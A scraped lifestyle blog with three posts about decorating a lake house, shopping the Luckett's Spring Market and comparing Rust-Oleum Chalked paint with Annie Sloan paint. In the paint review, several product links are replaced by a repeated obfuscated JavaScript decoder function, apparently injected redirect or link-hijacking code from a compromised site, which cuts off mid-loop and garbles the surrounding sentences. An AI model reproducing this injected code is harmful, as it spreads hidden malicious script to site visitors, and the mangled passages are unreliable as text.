…i’ve been working on a lake house

Hi Friends!

I am here, but I am a busy bee this summer. I am working on our little lake house and will be for most of the summer. I am going slowly because, well, I want to play in the lake!

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Yes, there is a part of me that would just like to "fix", update and redo everything around me, and there is another part that wants to experiment and try something a bit different. I don't want to have the same exact decor here as I do at home if that makes sense. I want to create a feeling that will refresh my family, calm us and help us recharge. At first I had the idea that I was going to literally paint everything in eye sight white - including the floors, which I still want to do.

This is what I was envisioning.

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Can I get an amen?!

And I plan on doing many of these things as inspired by Pinterest. I will eventually paint the kitchen cabinets, a fireplace, some wood furniture. But, part of me wants to incorporate the shades of blue that I am noticing in every catalogs that comes in the door. Like this:

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I think the risk is that with a lake or beach home, you don't want to decorate too literally. Some blue and make one pillow referencing a lake is okay, maybe a few shells, but you don't want to overdo it because I think it can be come a bit too much. I want it to be a subtle nod to the water around us.

I think when planning out a space you need to collect pictures that inspire you. You may not know why you feel moved by them, but that does not matter right away. What you want to get an idea of is the tone of the space. Pinterest is a great place to make a motivational board or even a three-ring binder with magazine clippings. I have at least two of these going at all times. If I see something in a catalog or magazine, I will tear it out and stuff it in the binder. It's not very organzied in there, but it is all in one spot. I found myself really loving some of this gold, white and blues. Now, how to work it all together?

I keep going back to the movie "Something's Gotta Give" with Jack Nickolson and Diane Keating (one of my fav movies!). The Hampton's Beach home was literally to die for. I think I'll start there. Oh - and she was a writer! Like she wrote her plays at the beach house - can you imagine? I can think of nothing better. Truly inspiring for this gal.

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PS - It wasn't until I started looking up these images that I found out that this very beach house is an extremely popular search for its decor.

…oh, you guys…

…are just the best! You wrap me like a warm hug and tell me it's okay to rant and it's okay to be me. It means more than you know! My intentions are always to offer information, guidance and inspiration. I am a curious person by nature and when I have an interest I want to look at it from all angles and not limit myself - especially when it's something that I'm trying to achieve creatively. I would dare to say that limiting yourself or looking at things as black and white only makes your view of this world more narrow and, rather, strict. I'm so over rules! Aren't you?!

Now, onto something more fun. Guess what this Friday is? The start of the Luckett's Spring Market! They started opening the gates last year for a VIP Friday and will do the same thing this week.

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Why do they need a VIP day?

Well, there is so much great stuff amongst the 177 + vendors that shoppers want a shot at collecting all the unique items before things get too crowded. You have to pay for a ticket, which is $40, but it is truly worth it.

I will be there and can't wait to add to my collection of so many things like: birdcages, old ladders, wood bowls, baskets, pillows, shoe molds, rusty buckets, and the occasional large piece of furniture that I just can't turn away from. Here are some of the goodies from last year.

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The vendors work so very, very hard to offer really amazingly cool items. This is also the fair that Miss Mustard Seed sells at and her tents always have a huge line as you can imagine! Her wares and attention to detail make her space so special. It is not to be missed.

I will most likely be wearing something like I wore last year that let me be comfortable in the heat. If you are there and see me, please come say hi! I will be the one running from vendor to vendor with my fists full. I loved meeting Danielle from The Tattered Dragonfly last year as I was picking up a vintage phone for my son. We got a good laugh about the little pew that I had my eye on and later discovered that she was the one that bought it!

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You may also see my cute friend, Sarah, hugging a trellis or Hoosier Cabinet:)

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Oh, and bring an empty car or better yet, truck! They also have deliver people that can get items to you if needed so don't let that keep you from buying something big. Dylan from DMV Deliveries will be milling around!

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If you cannot make it to the VIP day then do try to come Saturday or Sunday. Even if it is wet, it is worth it. Just bring your boots and umbrella. The vendors will still be there selling their hearts out.

…rust-oleum chalked?

I haven’t left you! Just have a few projects in the hopper that take me away from writing, but know you always have my heart 🙂

Okay, you know how I feel about my Annie Sloan paint, right? Love it to the moon and back. So, when a friend and fellow vendor asked me to help out with her client's pieces and told me she was using a product found in Home Depot, I was a bit curious. I am totally open to trying new products and comparing. I was really interested in seeing howRust-Oleumfunction l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oes/chalked" target="_blank"> Chalked held up.

Here is Sue, from the Treasured Hunt, and I the day we were neighbors at Luckett's Spring Market a few years ago. I love meeting sweet people doing the same thing I am. It's a lovely, little community.

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And here is the paint that she was using for the pieces.

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Sue was working with function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oes/chalked" target="_blank">Linen White and since I was to match her pieces, I used it as well. You can find this paint at function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe?cm_mmc=SEM|THD|google|D24+Paint&mid=s746L9loq|dc_mtid_8903alh25183_pcrid_45194218897_pkw_%2Brustoleum%20%2Bpaint_pmt_b_product__slid_&gclid=Cj0KEQjw3-W5BRCymr_7r7SFt8cBEiQAsLtM8ljSCbggyGaWumbUf01NgKZzbtw30r1vnfK2nGsoIZkaAgcG8P8HAQ" target="_blank">Home Depot online as well. The paint is for refinishing furniture just as ASCP. This Linen White is comparable to Pure White. Here's what it looked like when I cracked the paint open. The texture is similar, but not as thick.

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This is what a first coat looks like.

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You may notice that it is a bit more thin than other paints. This was the biggest difference. I know some painters like to water down or spray their paint to smooth it out so this may be a good choice for you. Here is another look at a first coat on a bit of a relief area.

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I ended up doing two coats and touch ups. I also used the Rust-Oleum Topcoat, which I will discuss tomorrow. Here are the results.

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You will see that it looks very similar. I did find that the paint does not settle like ASCP so you will see more paint lines. You will always have paint lines when you paint pieces, but I found that theRust-Oleum paint did not diminish at all. Not a deal breaker, but just something to be aware of.

My thoughts?

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oes/chalked" target="_blank">Rust-Oleum Chalked runs about $13 a can, which is way cheaper in comparison to Annie Sloan, which is $38 a can. It looks similar to other furniture paints, but it handles a bit different. It is more thin and does not settle after applied. These are not necessarily negatives unless you prefer the feel of a thicker paint, which I do. You can sand down some of these lines and that will help. You may also need a few more coats.

Tomorrow I will show you how the top coat works.